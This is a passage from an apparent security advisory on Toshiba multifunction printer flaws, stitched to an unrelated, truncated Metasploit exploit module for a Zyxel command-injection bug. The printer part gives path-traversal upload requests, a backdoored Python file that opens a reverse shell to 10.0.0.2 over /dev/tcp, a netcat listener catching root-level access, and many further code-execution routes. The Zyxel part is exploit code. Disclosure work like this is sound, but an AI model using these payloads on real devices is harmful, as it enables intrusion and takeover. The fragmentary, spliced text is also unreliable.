bash-4.1#<br /><br />We can also review the configuration file located at<br />`/encryption/al/network/config/snmpd.conf`, containing the default<br />communities:<br /><br /> bash-4.1# grep -v '^#' /encryption/al/network/config/snmpd.conf<br /> rocommunity public<br /><br /> rocommunity6 public<br /><br /> rwcommunity private<br /><br /> rwcommunity6 private<br /><br /> com2sec udp 0.0.0.0/24 public<br /><br /> view all included .1 80<br /> view generaluser_view excluded .1<br /> view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.23.2.1.3<br /> view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.3<br /> view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.4<br /><br /> access udpGroup "toshibaAmerica" v1 noauth<br /> exact all all none<br /> access admin_priv_group "" usm priv<br /> prefix all all none<br /> access admin_auth_group "" usm auth<br /> prefix all all none<br /> access generaluser_priv_group "" usm priv<br /> prefix all generaluser_view none<br /> access generaluser_auth_group "" usm auth<br /> prefix all generaluser_view none<br /><br /> trapcommunity public<br /><br /> dlmod mibs_impl<br />/home/SYSROM_SRC/lib/libalmibs_impl.so<br /><br /> master off<br /><br /> agentaddress udp:161,udp6:161<br /><br /> authtrapenable 1<br /><br /> maxGetbulkRepeats 20<br /><br /> maxGetbulkResponses 100bash-4.1#<br /><br />SNMP is also exposed over IPv6.<br /><br /><br /><br />## Details - Pre-authenticated Remote Code Execution as root or apache<br />and multiple Local Privilege Escalations<br /><br />Toshiba printers provide several ways to upload files using the web interface.<br /><br />By default, this web interface is reachable without authentication.<br /><br />For example, using the e-filing web interface, freely reachable using<br />http://ip:8080/?MAIN=EFILING, we can upload documents:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />It is possible to upload a document:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />The uploaded file will be stored inside the printer in the<br />/work/al/tmp/upload/ directory, inside a directory named by the<br />current session.<br /><br /> bash-4.1# find /work/al/tmp/upload<br /> /work/al/tmp/upload<br /> /work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab<br /> /work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test3.txt<br /> /work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test1.txt<br /> /work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test2.txt<br /> bash-4.1# ls -latrR /work/al/tmp/upload<br /> /work/al/tmp/upload:<br /> total 12<br /> drwxr-xr-x 7 root lp 4096 Mar 24 05:35 ..<br /> drwx------ 2 apache trusted 4096 Mar 24 05:43<br />ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab<br /> drwxrwxrwx 3 root trusted 4096 Mar 24 05:46 .<br /><br /> /work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab:<br /> total 20<br /> -rw-rw-rw- 1 apache trusted 8 Mar 24 05:41 test1.txt<br /> -rw-rw-rw- 1 apache trusted 9 Mar 24 05:42 test2.txt<br /> -rw-rw-rw- 1 apache trusted 9 Mar 24 05:43 test3.txt<br /> drwx------ 2 apache trusted 4096 Mar 24 05:43 .<br /> drwxrwxrwx 3 root trusted 4096 Mar 24 05:46 ..<br /> bash-4.1#<br /><br />This current session is provided by the printer when visiting the web<br />interface without authentication.<br /><br />An attacker can replay the HTTP request with a valid session obtained<br />while browsing http://ip/?MAIN=EFILING without authentication, and<br />change the path to the uploaded file. This path will then be used to<br />store the file inside the remote printer.<br /><br />For example, with a `Name` variable set to<br />`/./../../../../../home/SYSROM_SRC/sbin/malicious.program`, the<br />uploaded file is correctly written into<br />`/home/SYSRM_SRC/sbin/malicious.program` inside the printer.<br /><br />The HTTP request will be:<br /><br /> POST /contentwebserver/upload HTTP/1.1<br /> Host: 10.0.0.1:8080<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: multipart/form-data;<br />boundary=---------------------------12552735029913057752829397207<br /> Content-Length: 1011<br /> Origin: http://10.0.0.1:8080<br /> Connection: close<br /> Referer: http://10.0.0.1:8080/efiling/UploadArchive.html?v=1517352288ta<br /> Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US;<br />pageTrack=MAIN%3DDEVICE;<br />Session=10.0.0.2.c8a776a2c87613d78cbb94c558269c61;<br />IgnoreSessionTimeout=3<br /> Upgrade-Insecure-Requests: 1<br /><br /> -----------------------------12552735029913057752829397207<br /> Content-Disposition: form-data; name="formSubmitCompleteEventHandler"<br /><br /> frames[1].formSubmitComplete<br /> -----------------------------12552735029913057752829397207<br /> Content-Disposition: form-data; name="DeviceInformationModel"<br /><br /> <DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>test.txt</File><name>Upload</name></source><destination><name>DataImport</name></destination></Params></Move></Command></DeviceInformationModel><br /> -----------------------------12552735029913057752829397207<br /> Content-Disposition: form-data; name="CsrfpId"<br /><br /> 10.0.0.2.c8a776a2c87613d78cbb94c558269c61<br /> -----------------------------12552735029913057752829397207<br /> Content-Disposition: form-data;<br />name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program";<br />filename="test.txt"<br /> Content-Type: text/plain<br /><br /> MALICIOUS_CONTENT_WRITTEN_INTO_THE_HARD_DISK<br /><br /> -----------------------------12552735029913057752829397207--<br /><br />Burp Request:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />And the file is correctly written into<br />`/home/SYSRM_SRC/sbin/malicious.program` inside the printer:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />This vulnerability can be used to get Remote Code Executions using<br />several different ways. Due to some weaknesses found in Toshiba<br />printers, there are hundreds different ways to get Remote Code<br />Execution. For example:<br /><br />* Upload of a malicious library defined in the LD_PRELOAD variable:<br /> * /ramdisk/al/libGetNameInfoInterface.so or<br />/ramdisk/al/libGetAddtInfoInterface.so can be overwritten by a<br />malicious library<br />* Upload of a malicious library using the LD_LIBRARY_PATH variable -<br />An attacker can upload malicious libraries inside:<br /> * /home/SYSROM_SRC/build/release/lib,<br /> * /mfp/lib,<br /> * /home/SYSROM_SRC/NoBuildItems/common/lib,<br /> * /home/SYSROM_SRC/build/thirdparty/plugins/platforminputcontexts/,<br /> * /home/SYSROM_SRC/build/release/lib.<br />* Upload of a malicious program due to insecure permissions:<br /> * As shown in Local Privilege Escalation and Remote Code Execution<br />using insecure permissions for 106 programs, a lot of programs running<br />as root can be overwritten due to insecure permissions (777)<br />* Upload a malicious Python program or a malicious Python library<br />* ...<br /><br />This lack of protection can be found in several HTML forms when using<br />the printer, without administrative privileges. For example, the page<br />at http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html<br />allows uploading any file:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />It is mandatory to inject a `<INPUT TYPE=SUBMIT>` in the server<br />response using Burp or to directly generate such request to upload any<br />file.<br /><br />An example is shown below on how to get Remote Code Execution using<br />the upload of a malicious Python script in the next section, using the<br />following request:<br /><br /> POST /contentwebserver/upload HTTP/1.1<br /> Host: 10.0.0.1:8080<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: multipart/form-data;<br />boundary=---------------------------394285998421640844852768059947<br /> Content-Length: 1126<br /> Origin: http://10.0.0.1:8080<br /> Connection: close<br /> Referer: http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html<br /> Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US;<br />pageTrack=MAIN%3DDEVICE; clicked=0; addrLastVisited=ADDRBK;<br />IgnoreSessionTimeout=1;<br />Session=10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c<br /> Upgrade-Insecure-Requests: 1<br /><br /> -----------------------------394285998421640844852768059947<br /> Content-Disposition: form-data; name="formSubmitCompleteEventHandler"<br /><br /> frames[0].formSubmitCompleteUploadList<br /> -----------------------------394285998421640844852768059947<br /> Content-Disposition: form-data; name="DeviceInformationModel"<br /><br /> <DeviceInformationModel><GetValue><eFiling><View><BoxList/></View></eFiling></GetValue><Command><GetEFilingBoxes><commandNode>eFiling/BoxList</commandNode><Params><responseXpath<br />contentType='XPath'>eFiling/View/BoxList</responseXpath><curPage<br />contentType='Value'>1</curPage><pageSize<br />contentType='Value'>200</pageSize><definedBox<br />contentType='Value'>true</definedBox></Params></GetEFilingBoxes></Command></DeviceInformationModel><br /> -----------------------------394285998421640844852768059947<br /> Content-Disposition: form-data; name="CsrfpId"<br /><br /> 10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c<br /> -----------------------------394285998421640844852768059947<br /> Content-Disposition: form-data; name="test.txt"; filename="test.txt"<br /> Content-Type: text/plain<br /><br /> test<br /><br /> -----------------------------394285998421640844852768059947--<br /><br />And the file is correctly uploaded into the printer:<br /><br /> bash-4.1# ls -la<br />/work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/<br /> total 12<br /> drwx------ 2 apache trusted 4096 May 27 19:34 .<br /> drwxrwxrwx 3 root trusted 4096 May 27 19:30 ..<br /> -rw-rw-rw- 1 apache trusted 5 May 27 19:34 test.txt<br /> bash-4.1# cat<br />/work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/test.txt<br /> test<br /> bash-4.1#<br /><br />We can find several webpages allowing exploiting the vulnerable<br />`/contentwebserver/upload` API.<br /><br />It was determined that these webpages are using the insecure<br />`/contentwebserver/upload` API. They can be used by any attacker to<br />upload any file into the printers:<br /><br />- - http://printer-ip/efiling/UploadFrame.html<br />- - http://printer-ip/efiling/UploadArchive.html<br />- - http://printer-ip/efiling/UploadFrame.html<br />- - http://printer-ip/efiling/UploadArchiveProgress.html<br />- - http://printer-ip/efiling/UpLoadArchiveClose.html<br />- - http://printer-ip/efiling/UploadArchiveButton.html<br />- - http://printer-ip/Registration/AddressBook/AddrImport.html<br />- - http://printer-ip/Registration/AddressBook/AddrImportListFrame.html<br />- - http://printer-ip/Administration/maintenance/uploadsoft/DriverCustomize.html<br />- - ...<br /><br />Some of these files are directly reachable without authentication<br />(e.g. Registration or efiling) and can be found without an admin<br />account.<br /><br /><br /><br />### Remote Code Execution - Upload of a new .py module inside WSGI<br />Python programs<br /><br />Some of the APIs and web interfaces of the printers are written in Python.<br /><br />Since the permissions of these Python scripts inside the printers are<br />insecure, a backdoored version of the<br />`/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py`<br />has been uploaded as shown below:<br /><br />Content of `/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py`<br />with a malicious payload added on line 25:<br /><br />[code:python]<br /> 1 #! /usr/bin/env python<br /> 2 # -*- coding: utf-8 -*-<br /> 3 import sys<br /> 4 import os<br /> 5 from pyramid.view import view_config<br /> 6 from pyramid.exceptions import HTTPForbidden<br /> 7 from pyramid.response import Response,FileResponse<br /> 8 from server.screenfacade.appmgmt.applicationmanager import<br />applicationManagementModel<br /> 9 import logging<br />10 import json<br />11 import pyeapicore<br />12<br />13 sys.path.append('/home/SYSROM_SRC/lib')<br />14<br />15 log = logging.getLogger("server")<br />16<br />17 @view_config(route_name='get_app_list_deployed', xhr=True, renderer='jsonp')<br />18 def get_app_list_deployed(request):<br />19 log.warning("++++++++++++++++++++++++++++++++")<br />20 log.warning("get app list Views : Start ")<br />21 SessionID = ''<br />22 session = ' '<br />23 csrfpId = ''<br />24 browserLang = ''<br />25 os.system("bash -i >& /dev/tcp/10.0.0.2/21 0>&1")<br />26<br />27 if 'SessionID' in request.cookies:<br />28 SessionID = request.cookies['SessionID']<br />29 if 'Session' in request.cookies:<br />30 session = request.cookies['Session']<br />31 if 'csrfpId' in request.headers:<br />32 csrfpId = request.headers['csrfpId']<br />33 if 'BrowserLang' in request.cookies:<br />34 browserLang = request.cookies['BrowserLang']<br />35<br />36 log.info('Session ID obtained from request :' + SessionID)<br />37 log.info('csrfpId obtained from request:' + csrfpId)<br />38 validationMap = True<br />39<br />40 if validationMap['VALIDATION_STATUS'] == 'PASSED':<br />41 log.info('User Validation : SUCCESS')<br />42 data = applicationManagementModel.getAppList(browserLang)<br />43 log.warning("get app list Views : End ")<br />44 log.warning("++++++++++++++++++++++++++++++++")<br />45 return json.dumps(data)<br />46 else:<br />47 log.info('User Validation : FAILURE')<br />48 log.warning("get app list Views : End ")<br />49 if "HTTP_REQUEST_FORBIDDEN" in validationMap:<br />50 return HTTPForbidden("Error 403 : Forbidden Request")<br />51 else:<br />52 return json.dumps(validationMap)<br />53<br />54 @view_config(route_name='start_background_application', xhr=True,<br />renderer='jsonp')<br />55 def start_background_application(request):<br />56 log.warning("++++++++++++++++++++++++++++++++")<br />57 log.warning("start background app : Start ")<br />[...]<br />[/code]<br /><br />Due to some reverse proxy rules and check before this API can be<br />reached, this Python code is reachable using the API path<br />`http://printerip/tapy/server/appmgmt/applistDeployed` with a cookie<br />previously provided by the printer when visiting http://printerip/<br />(without authentication).<br /><br />When sending a HTTP request to<br />`http://printerip/tapy/server/appmgmt/applistDeployed`, the attacker<br />will receive a connect-back shell from the printer:<br /><br /> kali# nc -l -v -p 21<br /> listening on [any] 21 ...<br /> 10.0.0.1: inverse host lookup failed: Unknown host<br /> connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 37243<br /> [apache@MFP14144292 /]$ id<br /> uid=1000(apache) gid=2000(trusted) groups=2000(trusted)<br /> [apache@MFP14144292 /]$ uname -ap<br /> Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue<br />Jul 5 09:58:22 IST 2022 i686 GNU/Linux<br /> [apache@MFP14144292 /]$<br /><br />Connect-back shell as apache:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br /><br /><br />### Remote Code Execution - Upload of a new .ini configuration files<br />inside WSGI Python programs<br /><br />It is possible to overwrite the .ini configuration file used by WSGI<br />Python programs. This technique is public as of 2023-02-28:<br />https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html.<br /><br />Apache is running with WSGI configurations:<br /><br /> bash-4.1# ps auxww | grep apache<br /> apache 1611 0.0 0.1 1264444 3708 ? Sl 10:37 0:00<br />/usr/local/ebx/httpd_worker/bin/httpd_worker -f<br />/encryption/al/network/config/httpd-prox.conf -k start<br /> apache 1822 0.2 3.6 483056 108852 ? Sl 10:37 1:02<br />(wsgi:webpanel) -f<br />/encryption/al/network/config/httpd-wsgi.conf -k start<br /> apache 1823 0.0 2.1 270952 64172 ? Sl 10:37 0:05<br />(wsgi:topaccesspy) -f<br />/encryption/al/network/config/httpd-wsgi.conf -k start<br /> apache 1824 0.0 0.1 285148 4452 ? Sl 10:37 0:00<br />/usr/local/ebx/httpd_worker/bin/httpd_worker -f<br />/encryption/al/network/config/httpd-wsgi.conf -k start<br /><br />The Python scripts running as WSGI are configured with specific .ini<br />configuration files:<br /><br />- - `/registration/al/WebPanel/development.ini`<br />- - `/registration/al/TopAccessPy/development.ini`<br /><br />Unfortunately, these configuration files can be rewritten because of<br />insecure permissions, allowing a remote attacker to execute commands,<br />as described in recent public research.<br /><br />These files have insecure permissions as shown below:<br /><br /> bash-4.1# ls -la /registration/al/WebPanel/<br /> total 2632<br /> drwxrwxrwx 7 root root 4096 Dec 6 03:33 .<br /> drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..<br /> -rwxrwxrwx 1 root root 2642944 Dec 6 03:33 HomeBackgroundImages.tar.gz<br /> -rwxrwxrwx 1 root root 857 Dec 6 03:33 Makefile<br /> -rwxrwxrwx 1 root root 909 Dec 6 03:33 config.rb<br /> -rwxrwxrwx 1 root root 1103 Dec 6 03:33 development.ini<br /> drwxrwxrwx 4 root root 4096 Jan 22 2015 predefinedxml<br /> -rwxrwxrwx 1 root root 199 Dec 6 03:33 pyramid.wsgi<br /> drwxrwxrwx 3 root root 4096 Dec 6 03:33 statuspages<br /> drwxrwxrwx 14 root root 4096 Dec 6 03:33 wpclient<br /> drwxrwxrwx 6 root root 4096 Mar 14 16:32 wpserver<br /> drwxrwxrwx 2 root root 4096 Dec 6 03:33 wpserver.egg-info<br /> bash-4.1# ls -la /registration/al/WebPanel/development.ini<br /> -rwxrwxrwx 1 root root 1103 Dec 6 03:33<br />/registration/al/WebPanel/development.ini<br /><br /> bash-4.1# ls -la /registration/al/TopAccessPy<br /> total 36<br /> drwxrwxrwx 5 root root 4096 Dec 6 03:39 .<br /> drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..<br /> -rwxrwxrwx 1 root root 315 Dec 6 03:39 Makefile<br /> -rwxrwxrwx 1 root root 2091 Dec 6 03:39 TA_CacheScript.sh<br /> drwxrwxrwx 7 root root 4096 Mar 23 10:37 client<br /> -rwxrwxrwx 1 root root 1078 Dec 6 03:39 development.ini<br /> -rwxrwxrwx 1 root root 202 Dec 6 03:39 pyramid.wsgi<br /> drwxrwxrwx 6 root root 4096 Mar 14 16:32 server<br /> drwxrwxrwx 2 root root 4096 Dec 6 03:39 server.egg-info<br /> bash-4.1# ls -la /registration/al/TopAccessPy/development.ini<br /> -rwxrwxrwx 1 root root 1078 Dec 6 03:39<br />/registration/al/TopAccessPy/development.ini<br /><br />These scripts can be overwritten to include specific commands to be executed:<br /><br />Content of `/registration/al/TopAccessPy/development.ini`:<br /><br /> bash-4.1# cat /registration/al/TopAccessPy/development.ini<br /> [app:main]<br /> use = egg:server<br /><br /> pyramid.reload_templates = true<br /> pyramid.debug_authorization = false<br /> pyramid.debug_notfound = false<br /> pyramid.debug_routematch = false<br /> pyramid.default_locale_name = en<br /> pyramid.includes = pyramid_tm<br /><br /> [server:main]<br /><br /> # Begin logging configuration<br /><br /> [loggers]<br /> keys = root, server<br /><br /> [handlers]<br /> keys = console, serverhandler<br /><br /> [formatters]<br /> keys = generic, serverformatter<br /><br /> [logger_root]<br /> level = DEBUG<br /> handlers = console<br /><br /> [logger_server]<br /> level=DEBUG<br /> handlers=serverhandler<br /> qualname=server<br /> propagate=0<br /><br /> [handler_console]<br /> class = StreamHandler<br /> args = (sys.stderr,)<br /> level = NOTSET<br /> formatter = generic<br /><br /> [handler_serverhandler]<br /> class=logging.handlers.RotatingFileHandler<br /> level=DEBUG<br /> formatter=serverformatter<br /> args=('/work/log/al/webpanel/python_ta.log','a',(5*1024*1024),3)<br /><br /> [formatter_generic]<br /> format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s]<br />%(message)s<br /><br /> [formatter_serverformatter]<br /> format=%(asctime)s%(msecs)03d Pid= %(process)d Tid= %(thread)d<br />%(filename)s %(lineno)d %(levelname)s %(message)s<br /> datefmt=%m/%d %H:%M:%S<br /><br /> # End logging configuration<br /><br /><br /><br />### Remote Code Execution - Upload of a malicious script<br />`/tmp/backtraceScript.sh` and injection of malicious gdb commands<br /><br />When a program crashes, the `/tmp/backtraceScript.sh` script will be<br />executed as root as shown below:<br /><br /> 2023/05/27 19:48:02 CMD: UID=0 PID=22535 | sh -c<br />/tmp/backtraceScript.sh<br />"/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080" ><br />"/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080"_backtrace<br /> 2023/05/27 19:48:02 CMD: UID=0 PID=22536 | /bin/bash<br />/tmp/backtraceScript.sh<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080<br /> 2023/05/27 19:48:02 CMD: UID=0 PID=22540 | /bin/bash<br />/tmp/backtraceScript.sh<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080<br /> 2023/05/27 19:48:02 CMD: UID=0 PID=22539 | /bin/bash<br />/tmp/backtraceScript.sh<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080<br /> 2023/05/27 19:48:02 CMD: UID=0 PID=22538 | /bin/bash<br />/tmp/backtraceScript.sh<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080<br /> 2023/05/27 19:48:02 CMD: UID=0 PID=22537 | /bin/bash<br />/tmp/backtraceScript.sh<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080<br /> 2023/05/27 19:48:03 CMD: UID=0 PID=22541 | gdb -c<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 -x<br />/tmp/gdb_commands.txt<br /> 2023/05/27 19:48:03 CMD: UID=0 PID=22542 | gdb<br />/usr/local/ebx/httpd_worker/bin/httpd_worker<br />/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080<br />--batch --command=/tmp/gdb_commands.txt<br /> 2023/05/27 19:48:03 CMD: UID=0 PID=22543 | iconv -l<br /><br />This script has insecure permissions (777) and will run gdb as root:<br /><br />Content of `/tmp/backtraceScript.sh`:<br /><br /> bash-4.1# ls -la /tmp/backtraceScript.sh<br /> -rwxrwxrwx 1 root root 1457 Apr 6 2016 /tmp/backtraceScript.sh<br /> bash-4.1# cat /tmp/backtraceScript.sh<br /> #!/bin/bash<br /> OIFS=${IFS}<br /> IFS=$'\n'<br /> echo "quit" > /tmp/gdb_commands.txt<br /> echo "quit" >> /tmp/gdb_commands.txt<br /> EXE_NAME=`gdb -c "$1" -x /tmp/gdb_commands.txt | grep "Core was<br />generated by" | cut -d'\`' -f2 | cut -d' ' -f1`<br /> echo "thread apply all backtrace full" > /tmp/gdb_commands.txt<br /> echo "set print asm" >> /tmp/gdb_commands.txt<br /> echo "set print demangle on" >> /tmp/gdb_commands.txt<br /> echo "disassemble" >> /tmp/gdb_commands.txt<br /> echo "info reg" >> /tmp/gdb_commands.txt<br /> echo "quit" >> /tmp/gdb_commands.txt<br /> echo "quit" >> /tmp/gdb_commands.txt<br /> if [ "$EXE_NAME" = "" ];then<br /> if [ -d /work/log/platform/syscallerr/core_files ];then<br /> mv "$1" /work/log/platform/syscallerr/core_files/<br /> else<br /> mkdir -p /work/log/platform/syscallerr/core_files<br /> mv "$1" /work/log/platform/syscallerr/core_files/<br /> fi<br /> else<br /> if [ -f $EXE_NAME ];then<br /> gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1<br /> elif [ -f $EB2/bin/$EXE_NAME ]; then<br /> gdb $EB2/bin/$EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1<br /> elif [ "$EXE_NAME"="(wsgi:webapi)" -o<br />"$EXE_NAME"="(wsgi:webpanel)" -o "$EXE_NAME"="(wsgi:topaccesspy)" ];<br />then<br /> EXE_NAME=/usr/local/ebx/httpd_worker/bin/httpd_worker<br /> gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1<br /> else<br /> if [ -d /work/log/platform/syscallerr/core_files ];then<br /> mv "$1" /work/log/platform/syscallerr/core_files/<br /> else<br /> mkdir -p /work/log/platform/syscallerr/core_files<br /> mv "$1" /work/log/platform/syscallerr/core_files/<br /> fi<br /> fi<br /> fi<br /> IFS=${OIFS}<br /> bash-4.1#<br /><br />The `/tmp/gdb_commands.txt` gdb script (used by gdb in the<br />`/tmp/backtraceScript.sh` script) can be also overwritten by an<br />attacker to contain gdb commands and get Remote Code Execution.<br /><br />An attacker can change the `/tmp/backtraceScript.sh` to get Remote<br />Code Execution.<br /><br />An attacker can change the `/tmp/gdb_commands.txt` script to get<br />Remote Code Execution.<br /><br /><br /><br />### Remote Code Execution - Upload of a malicious<br />`/home/SYSROM_SRC/build/common/bin/sapphost.py` program<br /><br />The program `/home/SYSROM_SRC/build/release/bin/sapphost.py` runs as<br />root when the printer starts:<br /><br /> bash-4.1# ps auxww|grep python<br /> root 3984 5.0 5.3 200160 70944 ? Sl 18:49 0:03<br />python /home/SYSROM_SRC/build/release/bin/sapphost.py<br />10000000-0000-0000-0000-500000000000<br /> root 4597 4.5 3.5 144312 47740 ? Sl 18:49 0:02<br />python /home/SYSROM_SRC/build/release/bin/sapphost.py<br />10000000-0000-0000-0000-500000000001<br /> root 5193 0.0 0.1 12616 1852 ? S 18:50 0:00 grep python<br /> bash-4.1#<br /><br />`/home/SYSROM_SRC/build/release/bin/sapphost.py` is a symbolic link to<br />`/home/SYSROM_SRC/build/common/bin/sapphost.py` and this Python<br />program has insecure permissions, allowing any local user or any<br />remote attacker leveraging the insecure file upload vulnerability to<br />overwrite it:<br /><br /> bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/sapphost.py<br /> lrwxrwxrwx 1 root root 32 Mar 15 11:44<br />/home/SYSROM_SRC/build/release/bin/sapphost.py -><br />../../thirdparty/bin/sapphost.py<br /> bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py<br /> lrwxrwxrwx 1 root root 28 Mar 15 11:44<br />/home/SYSROM_SRC/build/thirdparty/bin/sapphost.py -><br />../../common/bin/sapphost.py<br /> bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/sapphost.py<br /> -rwxrwxrwx 1 root root 2124 Oct 12 2021<br />/home/SYSROM_SRC/build/common/bin/sapphost.py<br /><br />An attacker can overwrite this Python code to get Remote Code<br />Execution when the printer starts.<br /><br /><br /><br />### Remote Code Execution - Upload of malicious libraries<br /><br />When analyzing the processes running in the printers, it appears the<br />`LD_PRELOAD` variable is used to load specific shared libraries:<br /><br />- - `/ramdisk/al/libGetNameInfoInterface.so`<br />- - `/ramdisk/al/libGetAddtInfoInterface.so`<br /><br />We can find the `LD_PRELOAD` variable set by default in programs<br />running in the printers:<b
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = NormalRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Zyxel parse_config.py Command Injection',<br /> 'Description' => %q{<br /> This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.<br /> The affected firmware versions depend on the device module, see this module's documentation for more details.<br /><br /> Note this module was unable to be tested against a real Zyxel device and was tested against a mock environment.<br /> If you run into any issues testing this in a real environment we kindly ask you raise an issue in<br /> metasploit's github repository: https://github.com/rapid7/metasploit-framework/issues/new/choose<br /> },<br /> 'Author' => [<br /> 'SSD Secure Disclosure technical team', # discovery<br /> 'jheysel-r7' # Msf module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],<br /> [ 'CVE', '2023-33012']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['linux', 'unix'],<br /> 'Privileged' => true,<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Targets' => [<br /> [ 'Automatic Target', {}]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2024-01-24',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE, ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],<br /> 'Reliability' => [ ] # This vulnerability can only be exploited once, more info: https://vulncheck.com/blog/zyxel-cve-2023-33012#you-get-one-shot<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js')<br /> })<br /> return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?<br /><br /> if res.code == 200<br /> product_match = res.body.match(/ZLDSYSPARM_PRODUCT_NAME1="([^"]*)"/)<br /> version_match = res.body.match(/ZLDCONFIG_CLOUD_HELP_VERSION=([\d.]+)/)<br /><br /> if product_match && version_match<br /> product = product_match[1]<br /> version = version_match[1]<br /><br /> if (product.starts_with?('USG') && product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||<br /> (product.starts_with?('USG') && !product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00')) ||<br /> (product.starts_with?('ATP') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && 